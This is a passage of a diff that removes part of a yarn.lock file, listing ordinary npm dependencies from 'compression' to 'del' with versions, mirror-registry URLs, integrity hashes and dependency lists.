-  integrity sha1-r1PMprBw1MPAdQ+9dyhqbXzEb7o=
-  dependencies:
-    mime-db ">= 1.43.0 < 2"
-
-compression@^1.7.4:
-  version "1.7.4"
-  resolved "https://registry.npm.taobao.org/compression/download/compression-1.7.4.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcompression%2Fdownload%2Fcompression-1.7.4.tgz#95523eff170ca57c29a0ca41e6fe131f41e5bb8f"
-  integrity sha1-lVI+/xcMpXwpoMpB5v4TH0Hlu48=
-  dependencies:
-    accepts "~1.3.5"
-    bytes "3.0.0"
-    compressible "~2.0.16"
-    debug "2.6.9"
-    on-headers "~1.0.2"
-    safe-buffer "5.1.2"
-    vary "~1.1.2"
-
-concat-map@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.nlark.com/concat-map/download/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
-  integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
-
-concat-stream@^1.5.0:
-  version "1.6.2"
-  resolved "https://registry.nlark.com/concat-stream/download/concat-stream-1.6.2.tgz#904bdf194cd3122fc675c77fc4ac3d4ff0fd1a34"
-  integrity sha1-kEvfGUzTEi/Gdcd/xKw9T/D9GjQ=
-  dependencies:
-    buffer-from "^1.0.0"
-    inherits "^2.0.3"
-    readable-stream "^2.2.2"
-    typedarray "^0.0.6"
-
-confusing-browser-globals@^1.0.9:
-  version "1.0.10"
-  resolved "https://registry.npm.taobao.org/confusing-browser-globals/download/confusing-browser-globals-1.0.10.tgz#30d1e7f3d1b882b25ec4933d1d1adac353d20a59"
-  integrity sha1-MNHn89G4grJexJM9HRraw1PSClk=
-
-connect-history-api-fallback@^1.6.0:
-  version "1.6.0"
-  resolved "https://registry.nlark.com/connect-history-api-fallback/download/connect-history-api-fallback-1.6.0.tgz?cache=0&sync_timestamp=1618847040596&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fconnect-history-api-fallback%2Fdownload%2Fconnect-history-api-fallback-1.6.0.tgz#8b32089359308d111115d81cad3fceab888f97bc"
-  integrity sha1-izIIk1kwjRERFdgcrT/Oq4iPl7w=
-
-console-browserify@^1.1.0:
-  version "1.2.0"
-  resolved "https://registry.nlark.com/console-browserify/download/console-browserify-1.2.0.tgz#67063cef57ceb6cf4993a2ab3a55840ae8c49336"
-  integrity sha1-ZwY871fOts9Jk6KrOlWECujEkzY=
-
-constants-browserify@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/constants-browserify/download/constants-browserify-1.0.0.tgz#c20b96d8c617748aaf1c16021760cd27fcb8cb75"
-  integrity sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=
-
-contains-path@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.npm.taobao.org/contains-path/download/contains-path-0.1.0.tgz#fe8cf184ff6670b6baef01a9d4861a5cbec4120a"
-  integrity sha1-/ozxhP9mcLa67wGp1IYaXL7EEgo=
-
-content-disposition@0.5.3:
-  version "0.5.3"
-  resolved "https://registry.npm.taobao.org/content-disposition/download/content-disposition-0.5.3.tgz#e130caf7e7279087c5616c2007d0485698984fbd"
-  integrity sha1-4TDK9+cnkIfFYWwgB9BIVpiYT70=
-  dependencies:
-    safe-buffer "5.1.2"
-
-content-type@~1.0.4:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/content-type/download/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b"
-  integrity sha1-4TjMdeBAxyexlm/l5fjJruJW/js=
-
-convert-source-map@1.7.0, convert-source-map@^1.4.0, convert-source-map@^1.7.0:
-  version "1.7.0"
-  resolved "https://registry.npm.taobao.org/convert-source-map/download/convert-source-map-1.7.0.tgz#17a2cb882d7f77d3490585e2ce6c524424a3a442"
-  integrity sha1-F6LLiC1/d9NJBYXizmxSRCSjpEI=
-  dependencies:
-    safe-buffer "~5.1.1"
-
-convert-source-map@^0.3.3:
-  version "0.3.5"
-  resolved "https://registry.npm.taobao.org/convert-source-map/download/convert-source-map-0.3.5.tgz#f1d802950af7dd2631a1febe0596550c86ab3190"
-  integrity sha1-8dgClQr33SYxof6+BZZVDIarMZA=
-
-cookie-signature@1.0.6:
-  version "1.0.6"
-  resolved "https://registry.npm.taobao.org/cookie-signature/download/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
-  integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw=
-
-cookie@0.4.0:
-  version "0.4.0"
-  resolved "https://registry.npm.taobao.org/cookie/download/cookie-0.4.0.tgz#beb437e7022b3b6d49019d088665303ebe9c14ba"
-  integrity sha1-vrQ35wIrO21JAZ0IhmUwPr6cFLo=
-
-copy-concurrently@^1.0.0:
-  version "1.0.5"
-  resolved "https://registry.nlark.com/copy-concurrently/download/copy-concurrently-1.0.5.tgz#92297398cae34937fcafd6ec8139c18051f0b5e0"
-  integrity sha1-kilzmMrjSTf8r9bsgTnBgFHwteA=
-  dependencies:
-    aproba "^1.1.1"
-    fs-write-stream-atomic "^1.0.8"
-    iferr "^0.1.5"
-    mkdirp "^0.5.1"
-    rimraf "^2.5.4"
-    run-queue "^1.0.0"
-
-copy-descriptor@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/copy-descriptor/download/copy-descriptor-0.1.1.tgz#676f6eb3c39997c2ee1ac3a924fd6124748f578d"
-  integrity sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=
-
-core-js-compat@^3.6.2, core-js-compat@^3.9.0, core-js-compat@^3.9.1:
-  version "3.14.0"
-  resolved "https://registry.nlark.com/core-js-compat/download/core-js-compat-3.14.0.tgz#b574dabf29184681d5b16357bd33d104df3d29a5"
-  integrity sha1-tXTavykYRoHVsWNXvTPRBN89KaU=
-  dependencies:
-    browserslist "^4.16.6"
-    semver "7.0.0"
-
-core-js-pure@^3.0.0:
-  version "3.14.0"
-  resolved "https://registry.nlark.com/core-js-pure/download/core-js-pure-3.14.0.tgz?cache=0&sync_timestamp=1622879433859&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcore-js-pure%2Fdownload%2Fcore-js-pure-3.14.0.tgz#72bcfacba74a65ffce04bf94ae91d966e80ee553"
-  integrity sha1-crz6y6dKZf/OBL+UrpHZZugO5VM=
-
-core-js@^2.4.0:
-  version "2.6.12"
-  resolved "https://registry.nlark.com/core-js/download/core-js-2.6.12.tgz#d9333dfa7b065e347cc5682219d6f690859cc2ec"
-  integrity sha1-2TM9+nsGXjR8xWgiGdb2kIWcwuw=
-
-core-js@^3.5.0:
-  version "3.14.0"
-  resolved "https://registry.nlark.com/core-js/download/core-js-3.14.0.tgz#62322b98c71cc2018b027971a69419e2425c2a6c"
-  integrity sha1-YjIrmMccwgGLAnlxppQZ4kJcKmw=
-
-core-util-is@1.0.2, core-util-is@~1.0.0:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/core-util-is/download/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7"
-  integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=
-
-cosmiconfig@^5.0.0, cosmiconfig@^5.2.1:
-  version "5.2.1"
-  resolved "https://registry.nlark.com/cosmiconfig/download/cosmiconfig-5.2.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcosmiconfig%2Fdownload%2Fcosmiconfig-5.2.1.tgz#040f726809c591e77a17c0a3626ca45b4f168b1a"
-  integrity sha1-BA9yaAnFked6F8CjYmykW08Wixo=
-  dependencies:
-    import-fresh "^2.0.0"
-    is-directory "^0.3.1"
-    js-yaml "^3.13.1"
-    parse-json "^4.0.0"
-
-cosmiconfig@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.nlark.com/cosmiconfig/download/cosmiconfig-6.0.0.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcosmiconfig%2Fdownload%2Fcosmiconfig-6.0.0.tgz#da4fee853c52f6b1e6935f41c1a2fc50bd4a9982"
-  integrity sha1-2k/uhTxS9rHmk19BwaL8UL1KmYI=
-  dependencies:
-    "@types/parse-json" "^4.0.0"
-    import-fresh "^3.1.0"
-    parse-json "^5.0.0"
-    path-type "^4.0.0"
-    yaml "^1.7.2"
-
-create-ecdh@^4.0.0:
-  version "4.0.4"
-  resolved "https://registry.nlark.com/create-ecdh/download/create-ecdh-4.0.4.tgz#d6e7f4bffa66736085a0762fd3a632684dabcc4e"
-  integrity sha1-1uf0v/pmc2CFoHYv06YyaE2rzE4=
-  dependencies:
-    bn.js "^4.1.0"
-    elliptic "^6.5.3"
-
-create-hash@^1.1.0, create-hash@^1.1.2, create-hash@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/create-hash/download/create-hash-1.2.0.tgz#889078af11a63756bcfb59bd221996be3a9ef196"
-  integrity sha1-iJB4rxGmN1a8+1m9IhmWvjqe8ZY=
-  dependencies:
-    cipher-base "^1.0.1"
-    inherits "^2.0.1"
-    md5.js "^1.3.4"
-    ripemd160 "^2.0.1"
-    sha.js "^2.4.0"
-
-create-hmac@^1.1.0, create-hmac@^1.1.4, create-hmac@^1.1.7:
-  version "1.1.7"
-  resolved "https://registry.nlark.com/create-hmac/download/create-hmac-1.1.7.tgz#69170c78b3ab957147b2b8b04572e47ead2243ff"
-  integrity sha1-aRcMeLOrlXFHsriwRXLkfq0iQ/8=
-  dependencies:
-    cipher-base "^1.0.3"
-    create-hash "^1.1.0"
-    inherits "^2.0.1"
-    ripemd160 "^2.0.0"
-    safe-buffer "^5.0.1"
-    sha.js "^2.4.8"
-
-cross-spawn@7.0.1:
-  version "7.0.1"
-  resolved "https://registry.nlark.com/cross-spawn/download/cross-spawn-7.0.1.tgz#0ab56286e0f7c24e153d04cc2aa027e43a9a5d14"
-  integrity sha1-CrVihuD3wk4VPQTMKqAn5DqaXRQ=
-  dependencies:
-    path-key "^3.1.0"
-    shebang-command "^2.0.0"
-    which "^2.0.1"
-
-cross-spawn@^6.0.0, cross-spawn@^6.0.5:
-  version "6.0.5"
-  resolved "https://registry.nlark.com/cross-spawn/download/cross-spawn-6.0.5.tgz#4a5ec7c64dfae22c3a14124dbacdee846d80cbc4"
-  integrity sha1-Sl7Hxk364iw6FBJNus3uhG2Ay8Q=
-  dependencies:
-    nice-try "^1.0.4"
-    path-key "^2.0.1"
-    semver "^5.5.0"
-    shebang-command "^1.2.0"
-    which "^1.2.9"
-
-crypto-browserify@^3.11.0:
-  version "3.12.0"
-  resolved "https://registry.npm.taobao.org/crypto-browserify/download/crypto-browserify-3.12.0.tgz#396cf9f3137f03e4b8e532c58f698254e00f80ec"
-  integrity sha1-OWz58xN/A+S45TLFj2mCVOAPgOw=
-  dependencies:
-    browserify-cipher "^1.0.0"
-    browserify-sign "^4.0.0"
-    create-ecdh "^4.0.0"
-    create-hash "^1.1.0"
-    create-hmac "^1.1.0"
-    diffie-hellman "^5.0.0"
-    inherits "^2.0.1"
-    pbkdf2 "^3.0.3"
-    public-encrypt "^4.0.0"
-    randombytes "^2.0.0"
-    randomfill "^1.0.3"
-
-css-blank-pseudo@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.npm.taobao.org/css-blank-pseudo/download/css-blank-pseudo-0.1.4.tgz#dfdefd3254bf8a82027993674ccf35483bfcb3c5"
-  integrity sha1-3979MlS/ioICeZNnTM81SDv8s8U=
-  dependencies:
-    postcss "^7.0.5"
-
-css-color-names@0.0.4, css-color-names@^0.0.4:
-  version "0.0.4"
-  resolved "https://registry.nlark.com/css-color-names/download/css-color-names-0.0.4.tgz#808adc2e79cf84738069b646cb20ec27beb629e0"
-  integrity sha1-gIrcLnnPhHOAabZGyyDsJ762KeA=
-
-css-declaration-sorter@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/css-declaration-sorter/download/css-declaration-sorter-4.0.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcss-declaration-sorter%2Fdownload%2Fcss-declaration-sorter-4.0.1.tgz#c198940f63a76d7e36c1e71018b001721054cb22"
-  integrity sha1-wZiUD2OnbX42wecQGLABchBUyyI=
-  dependencies:
-    postcss "^7.0.1"
-    timsort "^0.3.0"
-
-css-has-pseudo@^0.10.0:
-  version "0.10.0"
-  resolved "https://registry.nlark.com/css-has-pseudo/download/css-has-pseudo-0.10.0.tgz#3c642ab34ca242c59c41a125df9105841f6966ee"
-  integrity sha1-PGQqs0yiQsWcQaEl35EFhB9pZu4=
-  dependencies:
-    postcss "^7.0.6"
-    postcss-selector-parser "^5.0.0-rc.4"
-
-css-loader@3.4.2:
-  version "3.4.2"
-  resolved "https://registry.nlark.com/css-loader/download/css-loader-3.4.2.tgz?cache=0&sync_timestamp=1621865043272&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcss-loader%2Fdownload%2Fcss-loader-3.4.2.tgz#d3fdb3358b43f233b78501c5ed7b1c6da6133202"
-  integrity sha1-0/2zNYtD8jO3hQHF7XscbaYTMgI=
-  dependencies:
-    camelcase "^5.3.1"
-    cssesc "^3.0.0"
-    icss-utils "^4.1.1"
-    loader-utils "^1.2.3"
-    normalize-path "^3.0.0"
-    postcss "^7.0.23"
-    postcss-modules-extract-imports "^2.0.0"
-    postcss-modules-local-by-default "^3.0.2"
-    postcss-modules-scope "^2.1.1"
-    postcss-modules-values "^3.0.0"
-    postcss-value-parser "^4.0.2"
-    schema-utils "^2.6.0"
-
-css-prefers-color-scheme@^3.1.1:
-  version "3.1.1"
-  resolved "https://registry.npm.taobao.org/css-prefers-color-scheme/download/css-prefers-color-scheme-3.1.1.tgz#6f830a2714199d4f0d0d0bb8a27916ed65cff1f4"
-  integrity sha1-b4MKJxQZnU8NDQu4onkW7WXP8fQ=
-  dependencies:
-    postcss "^7.0.5"
-
-css-select-base-adapter@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/css-select-base-adapter/download/css-select-base-adapter-0.1.1.tgz#3b2ff4972cc362ab88561507a95408a1432135d7"
-  integrity sha1-Oy/0lyzDYquIVhUHqVQIoUMhNdc=
-
-css-select@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/css-select/download/css-select-2.1.0.tgz?cache=0&sync_timestamp=1622994276976&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcss-select%2Fdownload%2Fcss-select-2.1.0.tgz#6a34653356635934a81baca68d0255432105dbef"
-  integrity sha1-ajRlM1ZjWTSoG6ymjQJVQyEF2+8=
-  dependencies:
-    boolbase "^1.0.0"
-    css-what "^3.2.1"
-    domutils "^1.7.0"
-    nth-check "^1.0.2"
-
-css-select@^4.1.3:
-  version "4.1.3"
-  resolved "https://registry.nlark.com/css-select/download/css-select-4.1.3.tgz?cache=0&sync_timestamp=1622994276976&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcss-select%2Fdownload%2Fcss-select-4.1.3.tgz#a70440f70317f2669118ad74ff105e65849c7067"
-  integrity sha1-pwRA9wMX8maRGK10/xBeZYSccGc=
-  dependencies:
-    boolbase "^1.0.0"
-    css-what "^5.0.0"
-    domhandler "^4.2.0"
-    domutils "^2.6.0"
-    nth-check "^2.0.0"
-
-css-tree@1.0.0-alpha.37:
-  version "1.0.0-alpha.37"
-  resolved "https://registry.nlark.com/css-tree/download/css-tree-1.0.0-alpha.37.tgz#98bebd62c4c1d9f960ec340cf9f7522e30709a22"
-  integrity sha1-mL69YsTB2flg7DQM+fdSLjBwmiI=
-  dependencies:
-    mdn-data "2.0.4"
-    source-map "^0.6.1"
-
-css-tree@^1.1.2:
-  version "1.1.3"
-  resolved "https://registry.nlark.com/css-tree/download/css-tree-1.1.3.tgz#eb4870fb6fd7707327ec95c2ff2ab09b5e8db91d"
-  integrity sha1-60hw+2/XcHMn7JXC/yqwm16NuR0=
-  dependencies:
-    mdn-data "2.0.14"
-    source-map "^0.6.1"
-
-css-what@^3.2.1:
-  version "3.4.2"
-  resolved "https://registry.nlark.com/css-what/download/css-what-3.4.2.tgz?cache=0&sync_timestamp=1622227051808&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcss-what%2Fdownload%2Fcss-what-3.4.2.tgz#ea7026fcb01777edbde52124e21f327e7ae950e4"
-  integrity sha1-6nAm/LAXd+295SEk4h8yfnrpUOQ=
-
-css-what@^5.0.0:
-  version "5.0.1"
-  resolved "https://registry.nlark.com/css-what/download/css-what-5.0.1.tgz?cache=0&sync_timestamp=1622227051808&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcss-what%2Fdownload%2Fcss-what-5.0.1.tgz#3efa820131f4669a8ac2408f9c32e7c7de9f4cad"
-  integrity sha1-PvqCATH0ZpqKwkCPnDLnx96fTK0=
-
-css.escape@^1.5.1:
-  version "1.5.1"
-  resolved "https://registry.npm.taobao.org/css.escape/download/css.escape-1.5.1.tgz#42e27d4fa04ae32f931a4b4d4191fa9cddee97cb"
-  integrity sha1-QuJ9T6BK4y+TGktNQZH6nN3ul8s=
-
-css@^2.0.0, css@^2.2.3:
-  version "2.2.4"
-  resolved "https://registry.npm.taobao.org/css/download/css-2.2.4.tgz#c646755c73971f2bba6a601e2cf2fd71b1298929"
-  integrity sha1-xkZ1XHOXHyu6amAeLPL9cbEpiSk=
-  dependencies:
-    inherits "^2.0.3"
-    source-map "^0.6.1"
-    source-map-resolve "^0.5.2"
-    urix "^0.1.0"
-
-cssdb@^4.4.0:
-  version "4.4.0"
-  resolved "https://registry.npm.taobao.org/cssdb/download/cssdb-4.4.0.tgz#3bf2f2a68c10f5c6a08abd92378331ee803cddb0"
-  integrity sha1-O/LypowQ9cagir2SN4Mx7oA83bA=
-
-cssesc@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/cssesc/download/cssesc-2.0.0.tgz#3b13bd1bb1cb36e1bcb5a4dcd27f54c5dcb35703"
-  integrity sha1-OxO9G7HLNuG8taTc0n9UxdyzVwM=
-
-cssesc@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/cssesc/download/cssesc-3.0.0.tgz#37741919903b868565e1c09ea747445cd18983ee"
-  integrity sha1-N3QZGZA7hoVl4cCep0dEXNGJg+4=
-
-cssnano-preset-default@^4.0.8:
-  version "4.0.8"
-  resolved "https://registry.nlark.com/cssnano-preset-default/download/cssnano-preset-default-4.0.8.tgz#920622b1fc1e95a34e8838203f1397a504f2d3ff"
-  integrity sha1-kgYisfwelaNOiDggPxOXpQTy0/8=
-  dependencies:
-    css-declaration-sorter "^4.0.1"
-    cssnano-util-raw-cache "^4.0.1"
-    postcss "^7.0.0"
-    postcss-calc "^7.0.1"
-    postcss-colormin "^4.0.3"
-    postcss-convert-values "^4.0.1"
-    postcss-discard-comments "^4.0.2"
-    postcss-discard-duplicates "^4.0.2"
-    postcss-discard-empty "^4.0.1"
-    postcss-discard-overridden "^4.0.1"
-    postcss-merge-longhand "^4.0.11"
-    postcss-merge-rules "^4.0.3"
-    postcss-minify-font-values "^4.0.2"
-    postcss-minify-gradients "^4.0.2"
-    postcss-minify-params "^4.0.2"
-    postcss-minify-selectors "^4.0.2"
-    postcss-normalize-charset "^4.0.1"
-    postcss-normalize-display-values "^4.0.2"
-    postcss-normalize-positions "^4.0.2"
-    postcss-normalize-repeat-style "^4.0.2"
-    postcss-normalize-string "^4.0.2"
-    postcss-normalize-timing-functions "^4.0.2"
-    postcss-normalize-unicode "^4.0.1"
-    postcss-normalize-url "^4.0.1"
-    postcss-normalize-whitespace "^4.0.2"
-    postcss-ordered-values "^4.1.2"
-    postcss-reduce-initial "^4.0.3"
-    postcss-reduce-transforms "^4.0.2"
-    postcss-svgo "^4.0.3"
-    postcss-unique-selectors "^4.0.1"
-
-cssnano-util-get-arguments@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/cssnano-util-get-arguments/download/cssnano-util-get-arguments-4.0.0.tgz#ed3a08299f21d75741b20f3b81f194ed49cc150f"
-  integrity sha1-7ToIKZ8h11dBsg87gfGU7UnMFQ8=
-
-cssnano-util-get-match@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/cssnano-util-get-match/download/cssnano-util-get-match-4.0.0.tgz#c0e4ca07f5386bb17ec5e52250b4f5961365156d"
-  integrity sha1-wOTKB/U4a7F+xeUiULT1lhNlFW0=
-
-cssnano-util-raw-cache@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/cssnano-util-raw-cache/download/cssnano-util-raw-cache-4.0.1.tgz#b26d5fd5f72a11dfe7a7846fb4c67260f96bf282"
-  integrity sha1-sm1f1fcqEd/np4RvtMZyYPlr8oI=
-  dependencies:
-    postcss "^7.0.0"
-
-cssnano-util-same-parent@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/cssnano-util-same-parent/download/cssnano-util-same-parent-4.0.1.tgz#574082fb2859d2db433855835d9a8456ea18bbf3"
-  integrity sha1-V0CC+yhZ0ttDOFWDXZqEVuoYu/M=
-
-cssnano@^4.1.10:
-  version "4.1.11"
-  resolved "https://registry.nlark.com/cssnano/download/cssnano-4.1.11.tgz#c7b5f5b81da269cb1fd982cb960c1200910c9a99"
-  integrity sha1-x7X1uB2iacsf2YLLlgwSAJEMmpk=
-  dependencies:
-    cosmiconfig "^5.0.0"
-    cssnano-preset-default "^4.0.8"
-    is-resolvable "^1.0.0"
-    postcss "^7.0.0"
-
-csso@^4.0.2:
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/csso/download/csso-4.2.0.tgz?cache=0&sync_timestamp=1606408777341&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcsso%2Fdownload%2Fcsso-4.2.0.tgz#ea3a561346e8dc9f546d6febedd50187cf389529"
-  integrity sha1-6jpWE0bo3J9UbW/r7dUBh884lSk=
-  dependencies:
-    css-tree "^1.1.2"
-
-cssom@0.3.x, "cssom@>= 0.3.2 < 0.4.0", cssom@^0.3.4:
-  version "0.3.8"
-  resolved "https://registry.npm.taobao.org/cssom/download/cssom-0.3.8.tgz#9f1276f5b2b463f2114d3f2c75250af8c1a36f4a"
-  integrity sha1-nxJ29bK0Y/IRTT8sdSUK+MGjb0o=
-
-cssstyle@^1.0.0, cssstyle@^1.1.1:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/cssstyle/download/cssstyle-1.4.0.tgz#9d31328229d3c565c61e586b02041a28fccdccf1"
-  integrity sha1-nTEyginTxWXGHlhrAgQaKPzNzPE=
-  dependencies:
-    cssom "0.3.x"
-
-csstype@^3.0.2:
-  version "3.0.8"
-  resolved "https://registry.nlark.com/csstype/download/csstype-3.0.8.tgz?cache=0&sync_timestamp=1618818466657&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcsstype%2Fdownload%2Fcsstype-3.0.8.tgz#d2266a792729fb227cd216fb572f43728e1ad340"
-  integrity sha1-0iZqeScp+yJ80hb7Vy9Dco4a00A=
-
-cyclist@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/cyclist/download/cyclist-1.0.1.tgz#596e9698fd0c80e12038c2b82d6eb1b35b6224d9"
-  integrity sha1-WW6WmP0MgOEgOMK4LW6xs1tiJNk=
-
-d@1, d@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/d/download/d-1.0.1.tgz#8698095372d58dbee346ffd0c7093f99f8f9eb5a"
-  integrity sha1-hpgJU3LVjb7jRv/Qxwk/mfj561o=
-  dependencies:
-    es5-ext "^0.10.50"
-    type "^1.0.1"
-
-damerau-levenshtein@^1.0.4:
-  version "1.0.7"
-  resolved "https://registry.nlark.com/damerau-levenshtein/download/damerau-levenshtein-1.0.7.tgz#64368003512a1a6992593741a09a9d31a836f55d"
-  integrity sha1-ZDaAA1EqGmmSWTdBoJqdMag29V0=
-
-dashdash@^1.12.0:
-  version "1.14.1"
-  resolved "https://registry.npm.taobao.org/dashdash/download/dashdash-1.14.1.tgz?cache=0&sync_timestamp=1601073454623&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdashdash%2Fdownload%2Fdashdash-1.14.1.tgz#853cfa0f7cbe2fed5de20326b8dd581035f6e2f0"
-  integrity sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=
-  dependencies:
-    assert-plus "^1.0.0"
-
-data-urls@^1.0.0, data-urls@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/data-urls/download/data-urls-1.1.0.tgz#15ee0582baa5e22bb59c77140da8f9c76963bbfe"
-  integrity sha1-Fe4Fgrql4iu1nHcUDaj5x2lju/4=
-  dependencies:
-    abab "^2.0.0"
-    whatwg-mimetype "^2.2.0"
-    whatwg-url "^7.0.0"
-
-debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.0, debug@^2.6.9:
-  version "2.6.9"
-  resolved "https://registry.nlark.com/debug/download/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
-  integrity sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=
-  dependencies:
-    ms "2.0.0"
-
-debug@^3.1.1, debug@^3.2.5, debug@^3.2.7:
-  version "3.2.7"
-  resolved "https://registry.nlark.com/debug/download/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
-  integrity sha1-clgLfpFF+zm2Z2+cXl+xALk0F5o=
-  dependencies:
-    ms "^2.1.1"
-
-debug@^4.0.1, debug@^4.1.0, debug@^4.1.1:
-  version "4.3.1"
-  resolved "https://registry.nlark.com/debug/download/debug-4.3.1.tgz#f0d229c505e0c6d8c49ac553d1b13dc183f6b2ee"
-  integrity sha1-8NIpxQXgxtjEmsVT0bE9wYP2su4=
-  dependencies:
-    ms "2.1.2"
-
-decamelize@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.nlark.com/decamelize/download/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290"
-  integrity sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=
-
-decode-uri-component@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.nlark.com/decode-uri-component/download/decode-uri-component-0.2.0.tgz#eb3913333458775cb84cd1a1fae062106bb87545"
-  integrity sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=
-
-deep-equal@^1.0.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/deep-equal/download/deep-equal-1.1.1.tgz?cache=0&sync_timestamp=1606859714626&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdeep-equal%2Fdownload%2Fdeep-equal-1.1.1.tgz#b5c98c942ceffaf7cb051e24e1434a25a2e6076a"
-  integrity sha1-tcmMlCzv+vfLBR4k4UNKJaLmB2o=
-  dependencies:
-    is-arguments "^1.0.4"
-    is-date-object "^1.0.1"
-    is-regex "^1.0.4"
-    object-is "^1.0.1"
-    object-keys "^1.1.1"
-    regexp.prototype.flags "^1.2.0"
-
-deep-is@~0.1.3:
-  version "0.1.3"
-  resolved "https://registry.nlark.com/deep-is/download/deep-is-0.1.3.tgz#b369d6fb5dbc13eecf524f91b070feedc357cf34"
-  integrity sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=
-
-default-gateway@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/default-gateway/download/default-gateway-4.2.0.tgz?cache=0&sync_timestamp=1610365756089&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdefault-gateway%2Fdownload%2Fdefault-gateway-4.2.0.tgz#167104c7500c2115f6dd69b0a536bb8ed720552b"
-  integrity sha1-FnEEx1AMIRX23WmwpTa7jtcgVSs=
-  dependencies:
-    execa "^1.0.0"
-    ip-regex "^2.1.0"
-
-define-properties@^1.1.2, define-properties@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.nlark.com/define-properties/download/define-properties-1.1.3.tgz?cache=0&sync_timestamp=1618847174317&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdefine-properties%2Fdownload%2Fdefine-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1"
-  integrity sha1-z4jabL7ib+bbcJT2HYcMvYTO6fE=
-  dependencies:
-    object-keys "^1.0.12"
-
-define-property@^0.2.5:
-  version "0.2.5"
-  resolved "https://registry.npm.taobao.org/define-property/download/define-property-0.2.5.tgz#c35b1ef918ec3c990f9a5bc57be04aacec5c8116"
-  integrity sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=
-  dependencies:
-    is-descriptor "^0.1.0"
-
-define-property@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/define-property/download/define-property-1.0.0.tgz#769ebaaf3f4a63aad3af9e8d304c9bbe79bfb0e6"
-  integrity sha1-dp66rz9KY6rTr56NMEybvnm/sOY=
-  dependencies:
-    is-descriptor "^1.0.0"
-
-define-property@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/define-property/download/define-property-2.0.2.tgz#d459689e8d654ba77e02a817f8710d702cb16e9d"
-  integrity sha1-1Flono1lS6d+AqgX+HENcCyxbp0=
-  dependencies:
-    is-descriptor "^1.0.2"
-    isobject "^3.0.1"
-
-del@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.npm.taobao.org/del/download/del-4.1.1.tgz?cache=0&sync_timestamp=1601076882347&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdel%2Fdownload%2Fdel-4.1.1.tgz#9e8f117222ea44a31ff3a156c049b99052a9f0b4"
-  integrity sha1-no8RciLqRKMf86FWwEm5kFKp8LQ=
-  dependencies:
-    "@types/glob" "^7.1.1"
-    globby "^6.1.0"
-    is-path-cwd "^2.0.0"
-    is-path-in-cwd "^2.0.0"
-    p-map "^2.0.0"
-    pify "^4.0.1"
